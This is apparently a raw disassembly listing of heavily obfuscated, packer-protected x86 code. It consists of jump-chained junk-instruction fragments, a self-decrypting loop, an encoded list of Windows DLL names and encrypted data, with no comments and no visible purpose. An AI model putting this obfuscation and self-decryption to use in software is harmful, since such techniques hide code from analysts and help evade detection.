		pop	eax
		sub	eax, 42D717FBh
		jmp	loc_5874A9
; ---------------------------------------------------------------------------


loc_59268A:				; CODE XREF: ud2_____:00588545j
		shr	edi, 1
		not	edi
		jmp	loc_58918C
; ---------------------------------------------------------------------------


loc_592693:				; CODE XREF: ud2_____:0057E726j
		mov	esi, ebp
		pop	ebp
		xor	esi, 1DF81217h
		push	ecx
		mov	ecx, 2A80391Ch
		add	ecx, 1
		neg	ecx
		xor	ecx, 0F30C5ED6h
		jmp	loc_58122A
; ---------------------------------------------------------------------------


loc_5926B2:				; CODE XREF: ud2_____:0058F22Dj
		not	ecx
		sub	ecx, 1E48488Bh
		jmp	loc_58E712
; ---------------------------------------------------------------------------


loc_5926BF:				; CODE XREF: ud2_____:0058B677j
		push	ecx
		mov	cl, 77h
		dec	cl
		dec	cl
		shr	cl, 2
		jmp	loc_585E94
; ---------------------------------------------------------------------------


loc_5926CE:				; CODE XREF: ud2_____:0057FE88j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_58A6EF
		push	dword ptr [edi+28h]
		push	edx
		jmp	loc_58CD48
; ---------------------------------------------------------------------------


loc_5926E6:				; CODE XREF: ud2_____:0058F534j
		mov	ebx, [esp]
		push	esi
		jmp	loc_58944C
; ---------------------------------------------------------------------------


loc_5926EF:				; CODE XREF: ud2_____:00589D3Bj
		mov	ecx, 3AD22B06h
		or	ecx, 19550B34h
		shr	ecx, 8
		not	ecx
		sub	ecx, 0FFC428D0h
		jmp	loc_59190C
; ---------------------------------------------------------------------------


loc_59270A:				; CODE XREF: ud2_____:00585B61j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	edi
		mov	edi, esp
		jmp	loc_58E627
; ---------------------------------------------------------------------------


loc_59272D:				; CODE XREF: ud2_____:0058BED8j
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_589558
; ---------------------------------------------------------------------------


loc_592739:				; CODE XREF: ud2_____:0058A800j
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_582507
; ---------------------------------------------------------------------------


loc_592748:				; CODE XREF: ud2_____:0058B3E0j
		mov	edi, esp
		push	ebx
		mov	ebx, 680E5FA8h
		not	ebx
		and	ebx, 4B25374Bh
		sub	ebx, 321203Fh
		add	edi, ebx
		jmp	loc_5902F6
; ---------------------------------------------------------------------------


loc_592765:				; CODE XREF: ud2_____:0057FD09j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_57E8D7
; ---------------------------------------------------------------------------


loc_592783:				; CODE XREF: ud2_____:00591AD8j
		push	ecx
		mov	ecx, 662C15ADh
		jmp	loc_586942
; ---------------------------------------------------------------------------


loc_59278E:				; CODE XREF: ud2_____:00581FE2j
		mov	dh, 0AFh
		inc	dh
		dec	dh
		not	dh
		shr	dh, 5
		shr	dh, 4
		jmp	loc_58F3E8
; ---------------------------------------------------------------------------


loc_5927A1:				; CODE XREF: ud2_____:0058785Aj
		sub	ecx, 6B00A731h
		jmp	loc_58BCCC
; ---------------------------------------------------------------------------


loc_5927AC:				; CODE XREF: ud2_____:00581550j
		push	dword ptr [esp]
		pop	eax
		push	66EEh
		mov	[esp], edi
		push	7829h
		push	esp
		jmp	loc_58AC8F
; ---------------------------------------------------------------------------


loc_5927C3:				; CODE XREF: ud2_____:00580C2Ej
		mov	ebp, 4
		sub	ecx, 7DF747FDh
		add	ecx, ebp
		add	ecx, 7DF747FDh
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		push	5A8Ch
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		jmp	loc_58F5CF
; ---------------------------------------------------------------------------


loc_5927EF:				; CODE XREF: ud2_____:005829ECj
		add	edx, 3B226380h
		add	edx, 49356F00h
		xor	edx, 2F9C25DDh
		sub	esi, edx
		pop	edx
		sub	ebp, esi
		pop	esi
		add	esi, 7CBF216Bh
		add	esi, ebp
		sub	esi, 7CBF216Bh
		jmp	loc_57E09D
; ---------------------------------------------------------------------------


loc_59281A:				; CODE XREF: ud2_____:005839EBj
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 109851D5h
		jmp	loc_5923DC
; ---------------------------------------------------------------------------


loc_59282B:				; CODE XREF: ud2_____:0058E07Ej
		pop	esi
		push	eax
		jmp	loc_58B877
; ---------------------------------------------------------------------------


loc_592832:				; CODE XREF: ud2_____:0058E7C2j
		mov	eax, 50F805CFh
		push	ecx
		jmp	loc_592AC7
; ---------------------------------------------------------------------------


loc_59283D:				; CODE XREF: ud2_____:0058DA98j
		mov	[esp], ecx
		mov	ch, 0Ah
		push	bx
		mov	bh, 3Eh
		push	ebx
		jmp	loc_57E5C1
; ---------------------------------------------------------------------------


loc_59284C:				; CODE XREF: ud2_____:005803A0j
					; ud2_____:005902BCj
		push	0DF2h
		mov	[esp], ebx
		jmp	loc_583654
; ---------------------------------------------------------------------------


loc_592859:				; CODE XREF: ud2_____:0058B4AEj
		sub	[esp], edx
		pop	edx
		sub	edx, 0BBCC7540h
		jmp	loc_5840B1
; ---------------------------------------------------------------------------


loc_592868:				; CODE XREF: ud2_____:005909FBj
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	edx
		jmp	loc_5873BC
; ---------------------------------------------------------------------------


loc_592879:				; CODE XREF: ud2_____:0057F003j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5876F4
; ---------------------------------------------------------------------------


loc_59288B:				; CODE XREF: ud2_____:005867B2j
		push	57A3h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, 3AF413FFh
		add	edi, 3DCB5252h
		add	edi, ecx
		jmp	loc_57E547
; ---------------------------------------------------------------------------


loc_5928AB:				; CODE XREF: ud2_____:005834B3j
		push	edx
		mov	dh, 61h
		inc	dh
		sub	dh, 0BFh
		dec	dh
		jmp	loc_583F8D
; ---------------------------------------------------------------------------


loc_5928BA:				; CODE XREF: ud2_____:0058C07Ej
		shl	ebp, 8
		sub	ebp, 0FBDE7818h
		add	eax, 71291B0Ah
		sub	eax, ebp
		sub	eax, 71291B0Ah
		pop	ebp
		sub	eax, ebx
		push	48C5h
		mov	[esp], ecx
		mov	ecx, 358F1F14h
		jmp	loc_584E8E
; ---------------------------------------------------------------------------


loc_5928E4:				; CODE XREF: ud2_____:00585986j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5928E9:				; CODE XREF: ud2_____:00589D9Ej
		xor	eax, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edi, 7638216Ah
		sub	edi, ecx
		sub	edi, 7638216Ah
		sub	edi, 6ED656F7h
		jmp	loc_584319
; ---------------------------------------------------------------------------


loc_592920:				; CODE XREF: ud2_____:005923AAj
		mov	ecx, 0B780D8Bh
		push	esi
		mov	esi, 6BCD3481h
		sub	esi, 1
		jmp	loc_58699C
; ---------------------------------------------------------------------------


loc_592936:				; CODE XREF: ud2_____:0058CA56j
		add	ecx, 4
		jmp	loc_586647
; ---------------------------------------------------------------------------


loc_592941:				; CODE XREF: ud2_____:00581127j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_582D8E
; ---------------------------------------------------------------------------


loc_592957:				; CODE XREF: ud2_____:00590ECCj
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_58C3B1
; ---------------------------------------------------------------------------


loc_592962:				; CODE XREF: ud2_____:0058F817j
		mov	ch, 88h
		push	dx
		mov	dh, 74h
		jmp	near ptr unk_57ED03
; ---------------------------------------------------------------------------


loc_59296D:				; CODE XREF: ud2_____:005844D7j
		pop	eax
		jmp	loc_57E3CE
; ---------------------------------------------------------------------------


loc_592973:				; CODE XREF: ud2_____:0057ECE5j
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		jmp	loc_585127
; ---------------------------------------------------------------------------


loc_592988:				; CODE XREF: ud2_____:00586315j
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_585E52
; ---------------------------------------------------------------------------


loc_5929A7:				; CODE XREF: ud2_____:00586C58j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_57EDD0
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_58AEAA
		push	ebp
		jmp	loc_592373
; ---------------------------------------------------------------------------


loc_5929C6:				; CODE XREF: ud2_____:00580C90j
		add	esp, 4
		jmp	loc_58D7EB
; ---------------------------------------------------------------------------


loc_5929D1:				; CODE XREF: ud2_____:00587C11j
		add	ebx, 6D316A4Ch
		jmp	loc_581A40
; ---------------------------------------------------------------------------


loc_5929DC:				; CODE XREF: ud2_____:00581017j
		xor	ecx, 34C11A11h
		jmp	loc_58B9C8
; ---------------------------------------------------------------------------


loc_5929E7:				; CODE XREF: ud2_____:0058BEA7j
		pop	eax
		push	ecx
		mov	ecx, 3ECC2412h
		neg	ecx
		inc	ecx
		sub	ecx, 0AF0BBE7Eh
		add	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		not	ebx
		push	ecx
		mov	ecx, 0E698CEECh
		sub	ebx, ecx
		jmp	loc_57FAC6
; ---------------------------------------------------------------------------


loc_592A1E:				; CODE XREF: ud2_____:005908BFj
		mov	esp, [esp]
		add	eax, 3174E58h
		add	eax, 87C50A6h
		add	eax, esi
		sub	eax, 87C50A6h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3174E58h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		pop	esi
		push	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58EC62
; ---------------------------------------------------------------------------


loc_592A58:				; CODE XREF: ud2_____:0058BD50j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	16Bh
		mov	[esp], esi
		mov	esi, 4
		push	5B2Bh
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 23713984h
		mov	ebx, edi
		pop	edi
		and	ebx, 21AE01D0h
		inc	ebx
		shr	ebx, 7
		dec	ebx
		xor	ebx, 467F4BC7h
		push	44AAh
		mov	[esp], ecx
		mov	ecx, ebx
		mov	edi, ecx
		pop	ecx
		pop	ebx
		and	edi, 66FB3E87h
		sub	edi, 46551340h
		sub	edi, 0BD6B9000h
		jmp	loc_58765C
; ---------------------------------------------------------------------------


loc_592AC7:				; CODE XREF: ud2_____:00592838j
		push	8273DA1h
		pop	ecx
		inc	ecx
		inc	ecx
		jmp	loc_58F83C
; ---------------------------------------------------------------------------


loc_592AD4:				; CODE XREF: ud2_____:00588E21j
		shr	ebx, 5
		inc	ebx
		jmp	loc_58CAF7
; ---------------------------------------------------------------------------


loc_592ADD:				; CODE XREF: ud2_____:0058FECDj
		add	ebx, 0BDC7B55h
		jmp	loc_583FD2
; ---------------------------------------------------------------------------


loc_592AE8:				; CODE XREF: ud2_____:0058C72Dj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_588475
; ---------------------------------------------------------------------------


loc_592AFA:				; CODE XREF: ud2_____:00587E26j
		sub	eax, ecx
		sub	eax, 72F96F4Bh
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_582B15
; ---------------------------------------------------------------------------


loc_592B0D:				; CODE XREF: ud2_____:005809F8j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_58B47D
; ---------------------------------------------------------------------------


loc_592B1B:				; CODE XREF: ud2_____:0058264Cj
		mov	eax, esp
		add	eax, 4
		jmp	loc_58B02C
; ---------------------------------------------------------------------------


loc_592B27:				; CODE XREF: ud2_____:0057E5B4j
		bt	[esp], eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_592B31:				; CODE XREF: ud2_____:0058531Bj
		and	eax, 67503E79h
		dec	eax
		push	edx
		mov	edx, 4F3244DAh
		inc	edx
		or	edx, 6A345785h
		sub	edx, 4DF6496Ah
		sub	eax, edx
		jmp	loc_58BDB4
; ---------------------------------------------------------------------------


loc_592B51:				; CODE XREF: ud2_____:005856FCj
		push	dword ptr [esp]
		jmp	loc_58924B
; ---------------------------------------------------------------------------


loc_592B59:				; CODE XREF: ud2_____:0057F461j
		pop	esi
		xor	esi, 6F412C3h
		add	esi, 505439D8h
		xor	esi, 0E3648D52h
		mov	ebp, esi
		pop	esi
		xor	ebx, ebp
		pop	ebp
		xor	edx, ebx
		jmp	loc_580457
; ---------------------------------------------------------------------------


loc_592B79:				; CODE XREF: ud2_____:0058AE51j
		xor	edi, 24C08ADBh
		add	ebx, edi
		pop	edi
		pop	esi
		add	ebx, 8CCE79F1h
		jmp	loc_58C574
; ---------------------------------------------------------------------------


loc_592B8E:				; CODE XREF: ud2_____:00580A0Bj
		sub	edi, 17A872B8h
		sub	edi, ecx
		push	edx
		push	ebx
		jmp	loc_58FEA4
; ---------------------------------------------------------------------------


loc_592B9D:				; CODE XREF: ud2_____:00590727j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	ebp
		mov	bp, 2FA7h
		dec	bp
		inc	bp
		xor	bp, 1B37h
		jmp	loc_57E9C3
; ---------------------------------------------------------------------------


loc_592BBA:				; CODE XREF: ud2_____:0057E956j
		push	edx
		push	esi
		jmp	loc_587B84
; ---------------------------------------------------------------------------


loc_592BC1:				; CODE XREF: ud2_____:005917E2j
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_580595
; ---------------------------------------------------------------------------


loc_592BD2:				; CODE XREF: ud2_____:00591C90j
		push	ecx
		mov	ch, 0B2h
		shr	ch, 2
		or	ch, 0E3h
		add	ch, 8Ah
		add	al, 0A2h
		jmp	loc_586275
; ---------------------------------------------------------------------------


loc_592BE5:				; CODE XREF: ud2_____:0058FADFj
		pop	ecx
		jmp	loc_58EB81
; ---------------------------------------------------------------------------


loc_592BEB:				; CODE XREF: ud2_____:00580FA4j
		add	dword ptr [esp], 44D24440h
		jmp	loc_581B5E
; ---------------------------------------------------------------------------


loc_592BF7:				; CODE XREF: ud2_____:0058B91Ej
		and	ebp, 3385651Bh
		shl	ebp, 2
		sub	ebp, 245F81h
		jmp	loc_58038F
; ---------------------------------------------------------------------------


loc_592C0B:				; CODE XREF: ud2_____:00584AB7j
		or	dh, 45h
		dec	dh
		and	dh, 31h
		and	dh, 3
		or	dh, 11h
		xor	dh, 79h
		sub	al, dh
		pop	edx
		add	al, bh
		jmp	loc_5852AC
; ---------------------------------------------------------------------------


loc_592C26:				; CODE XREF: ud2_____:0058FEDDj
		add	esp, 4
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ecx, 501B2CDFh
		jmp	loc_58CBC3
; ---------------------------------------------------------------------------


loc_592C3A:				; CODE XREF: ud2_____:0058AB2Ej
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	3947h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		sub	dword ptr [esp+4], 4AFE1661h
		add	[esp+4], esi
		add	dword ptr [esp+4], 4AFE1661h
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5857B0
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_592C8A:				; CODE XREF: ud2_____:00585E0Bj
		mov	ecx, esi
		pop	esi
		mov	eax, 26604D2Ch
		sub	eax, ecx
		jmp	loc_5922FF
; ---------------------------------------------------------------------------


loc_592C99:				; CODE XREF: ud2_____:0058FAD9j
		push	6101h
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5828FD
; ---------------------------------------------------------------------------


loc_592CBC:				; CODE XREF: ud2_____:005865D3j
		sub	[esp+4], esi
		add	dword ptr [esp+4], 57772E0Bh
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_589B91
; ---------------------------------------------------------------------------


loc_592CDE:				; CODE XREF: ud2_____:0058DAE4j
		xor	dh, 0F8h
		push	eax
		jmp	loc_584D4A
; ---------------------------------------------------------------------------


loc_592CE7:				; CODE XREF: ud2_____:0058292Fj
		add	edi, 2F8C5C2Bh
		sub	edi, 2174A33h
		jmp	loc_581DD7
; ---------------------------------------------------------------------------


loc_592CF8:				; CODE XREF: ud2_____:0058610Bj
		inc	ebp
		jmp	loc_58F13D
; ---------------------------------------------------------------------------


loc_592CFE:				; CODE XREF: ud2_____:0058CEB8j
		add	ebp, esi
		pop	esi
		jmp	loc_592EDA
; ---------------------------------------------------------------------------


loc_592D06:				; CODE XREF: ud2_____:0058382Aj
		mov	di, 3E81h
		add	word ptr [esp+4], 3164h
		add	[esp+4], di
		sub	word ptr [esp+4], 3164h
		mov	di, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		jmp	loc_58A975
; ---------------------------------------------------------------------------


loc_592D35:				; CODE XREF: ud2_____:0058BE7Fj
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	esi
		mov	esi, 7B755BEFh
		not	esi
		not	esi
		push	edi
		mov	edi, 1E997FCBh
		sub	esi, 0E445724h
		add	esi, edi
		push	edx
		mov	edx, 6C065D14h
		add	edx, 2D4733EEh
		jmp	loc_57FC57
; ---------------------------------------------------------------------------


loc_592D62:				; CODE XREF: ud2_____:00591E26j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_58E546
; ---------------------------------------------------------------------------


loc_592D7B:				; CODE XREF: ud2_____:00584FCFj
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 62707862h
		add	ebx, edx
		jmp	loc_58058A
; ---------------------------------------------------------------------------


loc_592DAA:				; CODE XREF: ud2_____:00584F86j
		mov	[ecx], al
		pop	ecx
		jmp	loc_58040D
; ---------------------------------------------------------------------------


loc_592DB2:				; CODE XREF: ud2_____:00584152j
		mov	bl, 0CEh
		shr	bl, 4
		shr	bl, 3
		jmp	loc_5916D4
; ---------------------------------------------------------------------------


loc_592DBF:				; CODE XREF: ud2_____:00591A62j
		mov	edi, 5EE43B42h
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		shl	esi, 2
		dec	esi
		jmp	loc_580AA2
; ---------------------------------------------------------------------------


loc_592DD8:				; CODE XREF: ud2_____:00581F07j
		add	esp, 4
		push	ebx
		mov	ebx, 29A03842h
		jmp	loc_5874AF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_57FAD8
; ---------------------------------------------------------------------------


loc_592E00:				; CODE XREF: ud2_____:00587894j
		push	6B68h
		mov	[esp], ebx
		jmp	loc_587E75
; ---------------------------------------------------------------------------


loc_592E0D:				; CODE XREF: ud2_____:00590885j
		or	eax, eax
		jz	loc_58A711
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 484159A8h
		mov	ecx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_589BC1
; ---------------------------------------------------------------------------


loc_592E40:				; CODE XREF: ud2_____:0057F1E3j
		xor	ebx, 0C854CEBh
		add	edx, ebx
		pop	ebx
		jmp	loc_590AF1
; ---------------------------------------------------------------------------


loc_592E4E:				; CODE XREF: ud2_____:0057E817j
		sub	ebp, 44772C51h
		jmp	loc_58D963
; ---------------------------------------------------------------------------


loc_592E59:				; CODE XREF: ud2_____:00582758j
		pop	edi
		pop	dword ptr [esp]
		push	edi
		push	eax
		push	4
		pop	eax
		jmp	loc_5840DB
; ---------------------------------------------------------------------------


loc_592E6A:				; CODE XREF: ud2_____:0058CDFFj
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_592E78:				; CODE XREF: ud2_____:005815FCj
		mov	ecx, 125407F3h
		neg	ecx
		neg	ecx
		dec	ecx
		shl	ecx, 8
		neg	ecx
		push	edx
		jmp	loc_5849B9
; ---------------------------------------------------------------------------


loc_592E8D:				; CODE XREF: ud2_____:00586BAEj
		sub	al, 0EFh
		sub	al, bh
		add	al, 0EFh
		push	ebx
		jmp	loc_583047
; ---------------------------------------------------------------------------


loc_592E99:				; CODE XREF: ud2_____:00586767j
		add	ebp, 4
		jmp	loc_587D09
; ---------------------------------------------------------------------------


loc_592EA4:				; CODE XREF: ud2_____:0058D28Ej
		push	369Ch
		jmp	loc_58A91D
; ---------------------------------------------------------------------------


loc_592EAE:				; CODE XREF: ud2_____:00587FFDj
		mov	esi, 4EB71C28h
		jmp	loc_5847DC
; ---------------------------------------------------------------------------


loc_592EB8:				; CODE XREF: ud2_____:00590A20j
		add	ebp, 7D46902h
		jmp	loc_5849A9
; ---------------------------------------------------------------------------


loc_592EC3:				; CODE XREF: ud2_____:0058DF57j
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58224C
; ---------------------------------------------------------------------------


loc_592EDA:				; CODE XREF: ud2_____:00592D01j
		pop	ebx
		push	edi
		mov	edi, 5B7049F7h
		and	edi, 25C3198Ch
		jmp	loc_58A2B8
; ---------------------------------------------------------------------------


loc_592EEC:				; CODE XREF: ud2_____:00586C70j
		pop	ecx
		jmp	loc_5900EE
; ---------------------------------------------------------------------------


loc_592EF2:				; CODE XREF: ud2_____:0057E317j
		mov	[esp], eax
		jmp	loc_580E1A
; ---------------------------------------------------------------------------


loc_592EFA:				; CODE XREF: ud2_____:005813BEj
		sub	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 177206A5h
		shl	esi, 2
		dec	esi
		sub	esi, 4C851727h
		or	esi, 14921061h
		xor	esi, 0B87698Fh
		sub	edi, esi
		pop	esi
		push	eax
		mov	eax, 4717D77Fh
		sub	edi, 411F7B40h
		jmp	loc_588656
; ---------------------------------------------------------------------------


loc_592F2D:				; CODE XREF: ud2_____:00585A4Cj
		add	ebx, 4
		jmp	loc_588E8F
; ---------------------------------------------------------------------------


loc_592F38:				; CODE XREF: ud2_____:0058F5BDj
		add	eax, ebx
		jmp	loc_5923AF
; ---------------------------------------------------------------------------


loc_592F3F:				; CODE XREF: ud2_____:0058F54Aj
		push	small 352Eh
		mov	[esp], ax
		jmp	loc_584A93
; ---------------------------------------------------------------------------


loc_592F4C:				; CODE XREF: ud2_____:00580AB6j
		push	eax
		mov	eax, 401A2880h
		add	ebp, 5B4E48F0h
		sub	ebp, eax
		sub	ebp, 5B4E48F0h
		pop	eax
		xor	ebp, 79CB6C02h
		add	ebp, 6AB244E4h
		dec	ebp
		jmp	loc_58B1D3
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_592F7B:				; CODE XREF: ud2_____:0058D85Ej
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58BA47
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58DD47
; ---------------------------------------------------------------------------


loc_592F95:				; CODE XREF: ud2_____:00581462j
		mov	esi, esp
		jmp	loc_58CA7A
; ---------------------------------------------------------------------------


loc_592F9C:				; CODE XREF: ud2_____:0058FC87j
		add	esi, 72245D87h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5836B7
; ---------------------------------------------------------------------------


loc_592FAD:				; CODE XREF: ud2_____:0058F679j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5815F1
; ---------------------------------------------------------------------------


loc_592FBB:				; CODE XREF: ud2_____:00586487j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5834CD
; ---------------------------------------------------------------------------


loc_592FD6:				; CODE XREF: ud2_____:00583C2Fj
		mov	al, 0B3h
		sub	al, bl
		pop	ebx
		sub	bl, 67h
		sub	bl, al
		add	bl, 67h
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58F232
; ---------------------------------------------------------------------------


loc_593005:				; CODE XREF: ud2_____:0058F795j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58825A
; ---------------------------------------------------------------------------


loc_593013:				; CODE XREF: ud2_____:00588B9Cj
		add	ebx, 25066B93h
		sub	esi, 21F130A4h
		jmp	loc_57F7D5
; ---------------------------------------------------------------------------


loc_593024:				; CODE XREF: ud2_____:0058F611j
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		push	ebp
		jmp	loc_580F15
; ---------------------------------------------------------------------------


loc_593043:				; CODE XREF: ud2_____:00584746j
		mov	[esp], esp
		jmp	loc_58AF93
; ---------------------------------------------------------------------------


loc_59304B:				; CODE XREF: ud2_____:0057177Ej
		call	near ptr loc_59305F+3
		fild	dword ptr [ebp+15h]
		sub	eax, 704B3B96h
		nop
		sbb	esp, [eax-4C14E5EBh]


loc_59305F:				; CODE XREF: ud2_____:loc_59304Bp
		sub	[eax+edi*8+68B0Fh], cl
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	[ebp+5D131E1h],	edx
		pop	edi
		xor	[ebp+5D12045h],	edx
		add	edi, 67D1h
		movsx	esi, dx
		mov	ecx, 19D4h
		mov	ebx, 32EE29Ch


loc_593088:				; CODE XREF: ud2_____:005930C7j
		push	dword ptr [edi]
		adc	si, 0C5B5h
		pop	edx
		add	al, 49h
		xor	edx, 298B3637h
		mov	[ebp+5D106CDh],	esi
		add	edx, 60E4E997h
		add	ebx, [ebp+5D11B6Dh]
		add	edx, 397C8719h
		mov	bh, 14h
		push	edx
		adc	ah, 0D7h
		pop	dword ptr [edi]
		mov	esi, eax
		sub	edi, 4
		mov	[ebp+5D12B2Dh],	ebx
		sub	ecx, 1
		jnz	loc_593088
		jnp	loc_5930D5
		mov	ebx, edi


loc_5930D5:				; CODE XREF: ud2_____:005930CDj
		jmp	short loc_59310D
; ---------------------------------------------------------------------------
		db 55h
		dd 33524553h, 6C642E32h, 4441006Ch, 49504156h, 642E3233h
		dd 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 407D800h, 0F000200h
		dd 11001400h, 0C0002600h, 27EA9602h
		db 3
; ---------------------------------------------------------------------------


loc_59310D:				; CODE XREF: ud2_____:loc_5930D5j
		jmp	loc_59391A
; ---------------------------------------------------------------------------
		push	5D393E5h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D3947Ah
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D39556h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D3969Fh
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D3970Ah
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D397F5h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D39862h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dd 0BD7E0D75h, 94172856h, 8C2F3EB9h, 0E2C558A1h, 0DCDF728Bh
		dd 0FB003A61h, 0E6E4566h, 2C57BE79h, 49B39A1Dh,	3ACBF536h
		dd 0DAF18697h, 5ED60166h, 4E0A91F6h, 0B8558150h, 1007DE74h
		dd 54E5101Dh, 0B9F1DCABh, 5E727EBAh, 78017D0Ch,	67F601FAh
		dd 0CAA7DD8Fh, 0B8D38C72h, 58F9255Dh, 0B42A664Ch, 0E11F12A5h
		dd 1BC4A64Eh, 29FF38B0h, 85F2DF52h, 0B06604E8h,	626038BCh
		dd 3769309Fh, 0BCEE57FBh, 233C46ADh, 94A3D35Eh,	68037DD8h
		dd 0F30E684h, 51E31BAEh, 6B4915DAh, 9A4AE31Eh, 21E412C0h
		dd 3FED5395h, 0BDC76E11h, 9EDF29A2h, 0EA603F7h,	662DFh
		dd 0C358A000h, 0D8738DE8h, 0F089F4DFh, 8EA3DC37h, 0A0BDC62Dh
		dd 0BFEFBC07h, 0A5F02B46h, 82E9C259h, 0EEC5E677h, 8020FB94h
		dd 0F1D1C2C1h, 0A17666DAh, 533F458Bh, 0E31E172Ah, 0A9D5A44Ah
